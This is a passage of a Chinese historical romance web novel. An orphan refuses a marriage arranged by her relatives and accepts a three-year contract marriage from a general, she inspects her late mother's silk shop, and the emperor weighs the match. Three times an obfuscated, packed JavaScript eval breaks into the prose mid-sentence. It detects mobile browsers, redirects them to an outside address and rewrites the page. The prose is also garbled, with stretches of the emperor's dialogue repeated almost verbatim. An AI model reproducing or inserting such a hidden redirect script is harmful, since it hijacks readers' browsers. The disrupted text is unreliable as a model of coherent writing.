她胸口起伏着，手指颤巍巍地指向姚知韫，那碧玉簪子在发间微微晃动，闪着冷硬的光。 “我原想着，你孤身一人，可怜见儿的，苏家不能不替你打算。谁知你……竟是这般油盐不进，冥顽不灵！倒显得我们多管闲事，枉做恶人！”她越说越气，声音也拔高了些，带着久居上位的凌厉，“你母亲若在天有灵，看见你这般顶撞长辈，怕也要心寒！” 姚知韫静静坐着，垂着眼，一言不发。 任那责骂的言语如冷雨般泼下来，她只是将脊背挺得笔直，像一株风雪里沉默的竹。 苏老夫人见她这副模样，更是气结。知道再说无益，这丫头是铁了心不肯低头了。她重重地“哼”了一声，拂袖转身。 “文珩，我们走！”她叫了一声那一直沉默坐在下首的少年，声音里余怒未消。 苏文珩连忙起身，上前搀扶。他脸上没什么表情，只在出门时回头一瞥，那目光里有些复杂的东西，似是歉然，又似有别样的深意，一闪即逝。 老夫人再未回头，脚步略有些踉跄却竭力维持着体面，径直朝外走去。连背影都透着被冒犯的怒意。 厅里，只剩下姚知韫一人，还有桌面上那块被日光晒得越发温润刺眼的羊脂玉佩，以及那摊渐渐变冷的茶渍。 风从门口灌进来，吹得她衣袂轻轻飘动。 她唤了一声芙蓉，让她将玉佩送回去。 苏老夫人离开后，姚知韫依旧坐在厅里，一动不动。 日头又移了几分，方才的那柱光，此刻斜斜地爬到桌角，照亮了一小片飞舞的微尘。 方才那紧绷的、对峙的余韵却仿佛还滞留在空气里，沉甸甸地压着。 那股子强撑着的冷静，此刻才慢慢从四肢百骸褪下去，露出底下深切的疲惫，与一丝怎么都挥不去的悲凉。像初冬的霜气，无声无息地浸透衣衫，带来一种缓慢而确凿的寒意。 先是刺杀，刀光血影，惊魂未定，这头便又来了婚约。 他们这是无论如何也要吃定她。 宋家是这般，苏家也是这般。外头呢？还有多少双绿莹莹的眼睛在暗处盯着？英国公府怕未必甘心，那位姨母更不知在盘算什么。 如今的她没有父母可以倚靠，没有兄弟可以撑腰。在这权势交织的京城，她就像秋塘里最后一片浮萍，一阵稍大点的风浪，就能将她彻底打翻、吞噬。 她该如何？ 继续躲吗？像只鸵鸟，把头埋进沙子里，假装外头的风雨落不到自己身上？ 争吗？拿什么去争？她争得过吗？就算赢了眼前这一桩，下一桩呢？无穷无尽。 日光在她脚边投下长长的、孤零零的影子。 她看着那影子，忽然觉得，这偌大的姚府，精巧的庭院，都变成了一座华丽而冰冷的囚笼。外头的人虎视眈眈，里头的人……无处可逃。 一种深重的窒息感，像潮水般漫上来。 就这样认了么？ 不。 心底深处，有个极微弱、却极坚硬的声音，在挣扎。 不是她的风格，白血病那么可怕的魔鬼她都一次次的扛过来了，既然躲不开，那就面对它，宁为玉碎，不为瓦全，哪怕最后两败俱伤，也不能任由旁人肆意妄为。 庭院里，那棵老槐树的叶子，又落了几片，打着旋儿，不情愿似的，最终还是归于尘土。 她不能认。 可——要怎么办？ 霍抉听青木在耳边低声回禀，说苏家到姚府的之事。 他眉峰猛地一蹙，心底那股火气“噌”地就窜了上来，直冲顶门，烧得他指节都捏得发白，恨不得立时就将那多事的苏家碾个干净。 可那怒火底下，却又有一丝隐隐的恐惧。很淡，却极顽固的在心底漫开。 若……若苏家老太爷确实有此打算，有信物，有旧话，那便是父母之命、媒妁之言的正经前缘。苏家作为她母亲的血脉至亲、外祖家，在她父母双亡之后，站出来替她主张，任谁听了，都要说一句理所当然。 名分大义，辈分伦常，像一座看不见的山，沉沉地压在那里。 她要如何去拒？他又拿什么去抗？ 这念头像根细针，扎得他心口微微发麻，他已经听不见下面人的声音，只想尽快赶到她身边，来填补心底那越来越大缺口。 匆忙的将事情交代给沈知节，霍抉便匆匆离开了。 霍抉策马狂奔，风在耳边呼啸，平日里一个多时辰的路，他却用了不到一个时辰便回到了姚府。 马还未停稳，他已翻身下马，脚下不停，径直便往内院走，步子又急又沉。 进了院子。内心翻涌的焦躁反而慢了下来，站在院子的回廊下，将自己隐在红色的廊柱后面。 她就坐在正厅的椅子上，秋日的夕阳本就稀薄，此刻打在她素白的衫子上，光点一下一下的晃动，她一动不动，就那么静静的坐着。 霍抉也就那么定定看着她。 往日的她，周身总是笼着一层淡淡的、疏离的安静，像隔着一层薄雾看远山，瞧得见轮廓，却触不到温度，但他知道那是她的保护色，只要耐心地将她身上那层雾打散，便能触碰到真实的她。 可此刻的她，似是被阴霾浸透，笼罩着清晰的孤寂，她走着的空气都是沉的，她给自己的搭了一层厚厚的壳，把自己藏起来，谁也不能触碰。 霍抉的心，像被一只看不见的手，重重地攥了一下，闷闷地疼，他心底的慌与惧越来越大，蔓延的更深，最终化作更深、更沉的一股涩意，堵在喉咙里。 他总要做些什么。他不能再等，不然等不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128726|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他名正言顺，苏家绝对不会放过她。 霍抉从廊柱的阴影里走出来，好似下定了某种决心。 姚知韫并未察觉，依旧低首垂眸望着某一个点出神，直到他的影子挡住身前，遮去了仅有的一丝光亮，她才缓缓抬起头。 脸上没什么表情，只是眼里那层沉沉的阴霾，略微动了一下，像是平静的水面被风吹起了一丝看不见的褶皱。 两人都没有说话，厅里的静一如既往，能听见风穿厅堂的轻响。 霍抉在她对面的椅子上坐了，隔着一张方桌，他没有看她，目光落在地面那微微晃动的光点上，手指无意识地拨弄着袖边。 “苏家的事，我听说了。”他开口，声音有些沉，有些哑，好似有许多话不能宣之于口。 姚知韫眼睫颤了颤，没应声。 霍抉抬起眼，目光直直看进她的眼里，那眼神很沉，很重，里头翻涌着许多南边的东西，可更多的是破釜沉舟的决心。 姚知韫的嘴唇抿紧了，袖中的手指微微蜷起。 “我也知道，你心里不情愿。”霍抉继续说道，语气很平，仿佛只是陈述事实，“我提个章程，你听听？” 他顿了顿，仿佛在斟酌最后的分寸。 “你嫁给我。” 这话说的太突兀，太直接，姚知韫猛地抬起眼，瞳孔骤然收缩，直直地瞪着他，脸上第一次露出清晰的、错愕的神情。 霍抉迎着她的目光，不闪不避，只是眼底最深处，那一丝不安隐隐的闪着。 “你嫁给我，”他语速快了些，“可以帮你挡掉外头无数的觊觎。” 他身子微微前倾，双手在袖中紧紧握紧，指节发白，手臂上青筋暴起。 “三年，”他一字一句说着，声音压得低低的，“以三年为限，这三年，我护着你，没人能动你分毫，我也不会限制你的自由。” 他说到这里，喉结滚动了一下，声音更深，也更缓。 “三年后，若你——想要离开，”他猛然顿住，似乎这几个字已经耗尽他全部的气力，“若你还想离开，我们和离。” 话音落下，他心底窜出剧痛，呼吸猛然滞涩，他将掌心攥的更紧，才能抑制住心里的颤抖，正视她终究会离开的那个结果。 他不再开口，只是那样看着她，目光沉静，坚定，像一座山，稳稳地立在那里，等着她的判决。 姚知韫脸上的错愕，很快便褪去，只剩下冰冷的清醒，她没有动怒，甚至不见半分女儿家的羞赧，只是静静的看着霍抉，那双总是笼着淡烟似的眸子里，此刻清晰得映出他的影子，也映出这秋日高远却苍白的天空。 “那么”，她开口，声音犹如冷泉击石，犹如大珠小珠落玉盘，清脆，冷静，剔除了所有多余的情绪，“霍将军，想要得到什么？” 她将“霍将军”三个字，咬得格外清晰，也格外疏离。 她微微偏过头，目光在他眉眼间细细巡睃，似乎想从他深邃的眼底，寻出些什么来，可除了那片沉沉的、不见底的潭水，什么也没有。 “你费心筹谋，将我置于你的羽翼之下，你要的，又是什么？” 19. 云锦轩 她不是不谙世事的闺阁女子，前世今生，她见过太多的人间冷暖，霍抉的提议，听起来是一条绝境中的生路，似乎也是她目前最好的选择。 可若是外面的那些的是恶狼，那霍抉便是一头雄狮，是比那些更危险的凶兽。 你。 我只想要你。 霍抉的心底在疯狂地呐喊，冲撞着胸腔，几乎要破喉而出，那最简单、最原始、也最不容于此刻的答案，可他不能。 他看着她那双过于清醒、带着审视与戒备的眼睛，知道这话一旦出口，她只会退得更远，他怕是再也没有机会，将她拥入怀中。 他将绷直的身子，重重地靠回冰冷的椅背，眼帘低垂，掩去眸底翻腾的惊涛骇浪。 “霍家人不日便抵京，”他开口，声音已经恢复了惯常的冷静，甚至染上了一丝漠然，只有他知道，胸腔里那擂鼓般的心跳，需要多大的力气才能按捺得不露痕迹。 “我已近而立之年，提督府需要一个主母，打理内宅，应酬往来，” 他抬起眼，目光淡淡的，“你是个聪明人，韫儿”，他唤了她的名字，“应当明白我的处境，身处漩涡中心，我不能与任何一方势力联姻，惹来猜忌。娶没有背景的你，是最好的选择，皇上——也才会放心。” 姚知韫心底长长的松了一口气，无论真假，这个理由听起来无懈可击，一个让皇帝安心的选择，合乎逻辑，也合乎他的身份与处境。 “我需要尽妻子的义务？” 姚知韫的声音很轻，像风拂过枯叶的边沿，问出这话时，她的指尖在袖中蜷缩着，或许还有一丝的颤抖，以及对不可知未来深重的茫然。 霍抉的心，像被这句话轻轻地、却又无比精准地刺了一下。 “当然，”这两个字，几乎未经思索，是那么的笃定，他抬起眼，目光沉沉地锁住她，刻意地、一字一顿地，说道，“你是我的妻子。” 他刻意加重了“妻子”两个字，那不仅仅是一个称谓，那是宣告，向天地、也向所有觊觎者宣告所有权，也是承诺，一个他对她不离不弃的承诺，是占有，也是枷锁。 他比任何人都更渴望这种身份，带来的理所当然的亲密与责任，也是对自己心中那头名为“占有”的猛兽，套上最坚固的缰绳。 “我有个条件。”姚知韫身子微微向后，可这个细微的动作，却像在霍抉紧绷的心弦上，轻轻拨动一下。 她，这是答应了？ 霍抉只觉得一股滚烫的气流猛地冲上胸腔，又被死死堵在喉咙口，他深吸一口气秋日清冷的空气，可空气中的凉意却压不住心底骤然掀起的狂喜。 那喜悦来得太猛，太烫，几乎要冲破他所有引以为傲的克制，从眼底眉梢溢出来。他猛地垂下眼，浓密的睫毛剧烈地颤了几下，才将那几乎要失控的情绪，死死地、笨拙地按捺回去。 可心底的欢喜却像春日里冻土下拼命钻出的草芽，顶得他心口又酸又胀。他再抬起眼时，眼底泄出几分灼人的亮光，声音也因为极力压制而显得格外低沉暗哑： “你说。” “这三年，你不能有其他人。” 这是她的底线任凭这个时代三妻四妾如何天经地义，她不行。哪怕只是一纸契约，她也要干干净净。 “若是你有了其他人，”她语气微顿，抬起眼，迎着那双眼睛，直视着他，“三年之约自动作废，你必须放我走。” 霍抉只觉得心口被什么东西重重地撞了一下，随即，难以言喻的狂喜像决堤的春洪，轰然漫过四肢百骸，几乎让他整个人都轻盈得要飘起来。她这般计较，这般在意“唯一”，是否……是否在她自己都未察觉的深处，对他，也并非全无感觉？ 这念头让他浑身的血液都烫了起来。 他几乎是用尽了毕生的自制力，才没有失态。喉结上下滚动了好几下，才找到自己的声音，“自然。” 他看着她，眼神炽烈而专注，像在许下一个重于生命的誓言。 “霍抉此生，若有违此誓，负你分毫，”他顿了顿，每一个字都清晰无比，“死无葬身之地。” 姚知韫没有接话，秋阳寂寂，老槐默然。这誓言太重，重得连风都似乎停滞了一瞬。 两人久久的坐着，不言不语，日头由暖转凉，最后没了踪影，墨色从屋角漫上来，最后把整个厅堂都笼罩在一种安详的昏暗里。 霍抉的声音暖暖的，像是一直在喉咙里温着，终于温得熨帖了，才肯放出来，“明年你五月，你及笄礼成，我们成婚。” 姚知韫没立刻应。她脑子里空了一下，随即浮起些零碎的念头，成婚？然后呢？什么三书六礼，问名纳吉，一桩桩该是如何？谁来操持？她想着那些繁琐的礼数，像隔着毛玻璃看远处走动的影子，模模糊糊的，又有些茫然的空落。 霍抉望着她。她微微垂着头，睫毛的影子落在脸颊上，极淡的一小片，在黑暗中轻轻颤动，他好像能看见她心里那些无声的问句，像初春河面底下，尚未化开的细碎的冰，正一点点向上浮着。 他于是又开了口，声音比方才更柔和些，也更沉笃，像一块经了河水的卵石，圆润地落进这墨色的安静里： “旁的，都交给我。” 厅堂外传来小桃怯怯的声音，似是鼓足了很大的勇气才开口，“姑娘，用膳了。” 姚知韫深吸一口气，没看霍抉，只对着门外模糊的应了一声，“好，” 说完便起身朝外走，风起，凉凉的，她忍不住打了个颤，深秋了，夜里寒气越来越重。 霍抉没有跟去。 他想，她此刻或许需要一个人独处，来适应一个全新的身份，他相信她能做到，她总是这样，看着淡淡的，骨头里却有种柔韧的劲儿，像瓦檐下不起眼的苔，经了雨反倒更润泽些。风再大，她也只是微微地弯一弯，总不肯折断的。 他提出成婚这个方法，也是在她还迷茫的时候，若是等她静下心想透了，自己也能琢磨出别的路——或许会走得波折些，但她总有办法的。 她一直都有办法。 姚知韫用了整整一个月，才将母亲留下的账册清理完成。 她不懂行商坐贾那些门道，但她学过数学，将那些数目排在一起，也是能瞧出一些问题来的。 譬如云锦轩。 每个月的盈利总会少那么一些，瞧着不起眼，可七年的时间叠起来，到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133926|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今年，已经接近亏损了。 母亲在世的时候，云锦轩每年都节余一万二千两的银子，这短短七年间，统共只剩下三千两，可这生丝的价格却是每年都在上涨。 可她明明记得三年前，生丝价格下降，街面上的绸缎都跟着软了价。偏她那云锦轩，照旧往上添了一成。 这还不是最蹊跷的。 云锦轩的供货商在母亲去世后一年换成了一家叫瑞福祥的绸缎庄，若是她没记错，瑞福祥和云锦轩一样，都是做绸缎生意的，既然是同行，怎么能为云锦轩供货？ 看来，她要去趟云锦轩了。 姚知韫去了云锦轩，没挑什么特别的日子，一个寻常的午后，日头温暾暾的，她换了身玉色织暗花竹叶的襦裙，外头罩了件杏子黄的比甲，头发松松绾了个髻，插一支素银簪子。 知道她要出门，霍抉那边早早备下了侯府的马车。黑漆平顶的车身，檐角悬着赤底金纹的霍家标记，连车夫都是特意挑过的稳重人。 马车在云锦轩门前停下时，街面上正静。姚知韫戴上帷帽，由芙蓉扶着，慢悠悠下了车。 这条街叫锦绣街，是京城有名的绸缎铺子聚集地，各色招幌在风中微微飘着，空气里仿佛都覆着一层绸缎特有的、略带胶质的柔光，云锦轩的铺面在街的终端，五开间的门脸，黑漆金字招牌，毕竟是百年老店底蕴，瞧着格外的气派。 只是走近了，便觉出些不同来，左右邻居的伙计都站在门口，满面笑容地招徕客人，独独云锦轩门口冷冷清清，只一个半大少年靠着门框，脑袋一点点的打着瞌睡。 姚知韫脚步没停，径直走了进去。 铺子里光线有些暗，高高的柜台后头，一个留着两撇鼠须的帐房先生，扒拉着算盘，听见脚步声，眼皮也没抬，只拉长了调子，“客官随意看——，” 倒是柜台边上正整理布匹的年轻伙计机灵些，见姚知韫衣着朴素，但气度不凡，忙放下手里的活计，迎了上来，脸上堆起笑，“小姐您里边请，想看些什么料子？咱们这儿新到了一批江南的软烟罗，花色是顶新鲜的。” 姚知韫笑了笑，“我要给家里兄长，”她想了想，霍抉从年龄上来说喊兄长应该没什么问题，“做一套新衣，你帮着长长眼，看哪些料子合适，只管拣好的包起来。” 话音刚落，那边还在懒散的帐房先生便挤了过来，撞开了小伙计，“姑娘，要买的料子，我们这里不全，不如到隔壁的瑞福祥瞧瞧，那里的料子全，价格也公道。” 姚知韫心下微微一顿，帷帽后的唇角掠过一丝极淡的冷意， “家母交代，只要云锦轩的料子。” 帐房先生脸上的笑僵了僵，两撇鼠须跟着抖了一下，他搓了搓手，身子又往前倾了倾，“小姐，您看，要不这样，您留下府上名姓，我让伙计拣了顶好的料子，直接给您送到府上，包您满意。” 姚知韫冷光一闪，心里还有什么不明白的。 “你们掌柜的呢？”姚知韫话锋一转，声音不高，清清淡淡的。 那帐房先生一愣，那勉强堆起的笑快要挂不住了，“掌柜的——掌柜的在里头核对货单呢？小姐有什么吩咐，跟我说也是一样的。” 20. 不敢有半点非分之想 姚知韫不再说话，她只是静静地站在那里，隔着薄纱，目光似乎落在那账房先生脸上。铺子里一时静极了，只有外头街市隐约的喧闹，和那年轻伙计有些无措的呼吸声。 那账房先生被她看得有些发毛，两撇鼠须无意识地翕动着，眼底那点审视的光，渐渐被一层不安的游移取代。 “把掌柜的叫出来吧！” 姚知韫终于开口，语气平淡得像在说一件最寻常的事。她说着，已缓步走到一旁的红木太师椅前，拂了拂并不存在的灰尘，径自坐下了。纤细的指尖随意地翻开桌面上摊着的一册账本，又朝那愣在一旁的年轻伙计招了招手： “叫什么名字？”姚知韫笑的淡，问的也淡。 “小的阿贵，”小伙计退后两步，恭谨的垂下头，答的小心翼翼。 “认字吗？” 阿贵愣了愣，才低声道，“小时候跟着先生学过两年，认得一些。” 姚知韫端起茶盏抿了一口，微微蹙眉，陈茶？她可记得这云锦轩茶水费可不低，包的可都是好茶，雨前龙井，紫笋茶等 她放下茶盏，瓷底碰着桌面，轻轻一声脆响。 “去把账房先生请出来，”姚知韫的笑意敛去，声音静得像秋后的潭水，“同他说，我姓姚” 帐房先生脸上的笑意瞬间僵住，瞳孔细微地收缩了一下，他在这云锦轩做事十多年了，“姚”这个姓意味着什么，他太清楚了，东家姓姚，只是东家早逝，如今的东家是位俗事不通的孤女。 阿贵还没张口，他喉咙里“咕”地响了一声，便跑了过来，腰下意识弯了下去，脸上那敷衍的笑赶紧换成十足的恭敬，甚至有些惶恐，“原，原来是——小姐来了，小人眼拙，小姐恕罪，恕罪！” 姚知韫只是低着头，用杯盖一下下，慢条斯理地撇着茶里的浮沫，青瓷相碰，发出细而清的脆响，一声接着一声，敲得人心里发紧。 帐房先生脸上堆着笑，额角渗着细汗，殷勤得过分，“掌柜的，掌柜的他刚好出去催一笔款子，不在铺子里，要不，小人这就派人去寻他回来？” 姚知韫坐在椅子上，只是沉默着，眼帘未抬，就着那杯陈茶，又抿了一口。 “先生，贵姓？” “小人姓孙，孙有福，在铺子里管着帐房——”孙帐房垂手站着，额角微微见汗。 “孙帐房，”姚知韫未等他说完，便直接打断，目光却没有移开，“在云锦轩多久了？” 姚知韫话说的温和，可孙帐房的后背，却被冷汗浸透了，“十，十一年了。” “十一年了——，”姚知韫低低的重复着，放下茶盏，抬头时，眉宇间最后一点温和的笑意也散了，只剩下清清淡淡的平静。 “我母亲去世的早，我年岁小，一直不曾过问铺子里的事，如今渐渐大了，也该学着料理些庶务，今日来，没别的意思，就是看看铺子，” 她站起身，理了理裙摆，“既然掌柜的不在，我便不叨扰了。”说完她微微颔首，转身便朝外走去，帷帽的轻纱随着步子微微晃动，留下一缕极淡的、说不清是茶香还是熏香的气息。 芙蓉和小桃无声地跟上。 只剩下孙账房一个人怔在原地，对着空荡荡的铺面和那杯没喝完的陈茶，半天没回过神来——这就……走了？ 赵厚坐在御书房的书桌后，远远的望着霍抉离开的背影。 那背影挺直，深绯色的官袍下摆在初冬的风里微微拂动，像一片沉静的、却自有分量的云，缓移出了宫门的阴影，融进外头白晃晃的天光。 他的眼睛慢慢眯了起来，眼底的光晦涩不明，像一口深井，映着窗外的枝桠。 “高乔，”，他忽然开口，声音有些哑，“霍抉——是不是同崔家走的近了些？” 侍立在一旁的高乔眼皮一垂，腰弯的更低些，声音又轻又沉，让人捉摸不透，“回陛下，霍提督刚回京，人情往来，有些应酬总是不好推拒的。” 这话答的巧妙，什么也没说，又什么都说了，崔家那份心思，就算高乔不讲，赵厚心里也跟明镜似的。昨夜里，贵妃崔氏在他耳边那些温言软语，话里话外绕着弯子；今日晨起，皇后请安时，那几句看似不经意的提点……他都听得懂。 无非就是想拉拢霍抉。 而拉拢最好的方式，是联姻，赵厚抬起手，揉了揉发胀的额角，霍抉这把刀，太利，却也烫手，一不小心便会伤了自己，目前这把刀绝对不能被任何人握在手里。 他上了眼睛，嘴角扯出一个极淡、极苦的笑纹，像在茶水里泡久了的黄连。“一个霍抉，就搅动了一池子心，”他喃喃道，声音轻的几乎听不见，“都巴不得朕早死。” 高乔心下一颤，腿便软了，“噗通”一声跪在地上，额头紧紧贴着冰凉的金砖， “陛下！陛下万不可作此想，您福寿绵长，皇子们都盼着您寿与天齐，万岁万万岁。” 赵厚没有睁眼，只是长长地、缓缓地吐出一口气。那气息悠长而疲惫，仿佛把胸腔里积压的沉郁都吐了出来，却又有新的、更重的东西填进去。 “人老了……”，他像是自语，又像是对这空寂的殿宇说，“就有些信命。” 殿内一时静极，只有鎏金铜兽炉里的熏香袅袅飘着。 “太子……”，赵厚又开口，声音更沉缓了，每个字都像在掂量，“性子软，手段也弱，撑不起这片天。轩儿……倒有几分机敏，心性也够。”他顿了顿，那点微弱的赞许很快被更深的忧虑覆盖，“可他被崔家养得太深了，根须都缠在了一处，扯不清。” 他摇了摇头，不再说下去。只将身子更深地陷进御座里，让那明黄的缎子包裹住日渐消瘦的肩骨，仿佛这样便能抵御从四面八方漫上来的、无形的寒意。 而他把霍抉留在京城，除了有了收复梓州十三州的打算外，还有想动一动崔家的意思。 窗外，天色又暗了几分，怕又是一场大雨，一场秋雨一场寒，眼看着马上要入冬了。 “霍抉住在姚府？”赵厚突然问道。 “回陛下，”高乔依旧跪在地上，低声地回道，“是。” “姚家，那个孤女，多大了？”赵厚挥挥手，示意高乔起身。 “十四岁了，马上及笄了。” 赵厚指尖在桌面上敲击着，闭着眼睛，无人知道他在想什么？ 赵厚忽然问：“霍抉……是住在姚府？” 这话问得没头没尾，像一片羽毛，轻轻落在寂静的殿里。 高乔依旧跪在冰凉的金砖上，头垂得更低些，声音轻而稳：“回陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138251|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是。” “姚家……”，赵厚沉吟着，指尖在光滑的紫檀木案几上无意识地摩挲，“那个孤女，多大了？” “十四了，翻过年就该及笄了。”高乔答得仔细。 赵厚“唔”了一声，挥挥手，示意他起来。 高乔起身，垂手立在一旁，眼观鼻，鼻观心。 殿里又静下来，静得能听见更漏里细沙滑落的簌簌声。赵厚阖着眼，靠在宽大的御座里，脸上没什么表情，只有右手食指的指尖，在桌沿极轻、极缓地叩着。 笃。笃。笃。 一下，又一下，不紧不慢，像老和尚敲着木鱼，又像在丈量着什么看不见的棋路。那声音很轻，落在过分安静的空气里，却显得格外清晰，高乔的心好似也随着这个节奏，忽上忽下。 谁也不晓得，赵厚在想些什么。又会在这盘错综复杂的棋局里，落下怎样一粒棋子？ 窗外的天色，又沉了一分。 赵厚倏然睁开了眼。 那眼里方才的沉静与思量，像被一阵无形的风吹散了，露出底下某种已然落定的、极淡的锐光。他站起身，明黄的袍角在御座上拂过，带起一阵轻微的、带着龙涎香气的风。 “去德仪宫。” 高乔心头一凛，连声“是”都来不及应，只将腰弯得更深些，脚下已紧着碎步跟了上去。主仆二人的身影，一前一后，悄无声息地没入了殿外长长的、光影交错的回廊里。 皇帝先是温言问了些京营的事，粮饷可足，兵械如何，将士们冬日寒衣备得怎样。霍抉一一答了，话头便像溪流转了个弯，轻轻巧巧，淌到了别处。 “霍爱卿，”赵厚搁下茶盏，目光在霍抉脸上停了停，“今年……有三十了！” 霍抉心下一片澄明，面上却只恭敬道：“回陛下，臣痴长二十九岁，明年方及而立。” “哦，二十九了。”赵厚点点头，指尖在扶手上轻轻一点，“家里……可曾定下亲事？” “微臣戍边多年，辗转沙场，未曾婚配。” “嗯。”赵厚像是早料到了，语气愈发温和起来，“圣人说，修身、齐家、治国、平天下。爱卿如今功成名就，这齐家一事，也该思量起来了。身边没个知冷知热的人，终究不像个样子。” 霍抉垂下眼：“臣是个粗莽武夫，怕耽误了人家好姑娘。” “哎——”赵厚拖长了调子，摆了摆手，脸上露出些真切的笑意，“你可不是什么武夫。朕记得清楚，同光十三年的状元郎，琼林宴上最年轻的进士。文武双全，国之栋梁。” 霍抉不再言语，只是将头又低了低。 殿内静了一霎，鎏金香炉里逸出的青烟，笔直地向上袅着。 “朕瞧着……”赵厚的声音放得更缓，像是随意提起，“姚家那位姑娘，倒是个不错的。” 霍抉倏然抬起头，脸上恰如其分地掠过一丝惊诧与惶惑。他双膝一屈，便直挺挺跪在了冰凉的金砖上。 “陛下！”他的声音沉痛而恳切，“姚将军于臣有知遇之恩，临终托付，臣却一走七年，未能尽责，已是愧对故人。姚姑娘……年纪尚幼，臣一直视她如妹，万不敢有半点非分之想，辱没了姚将军的托付与清名。” 他说得情真意切，额角甚至隐隐见了汗。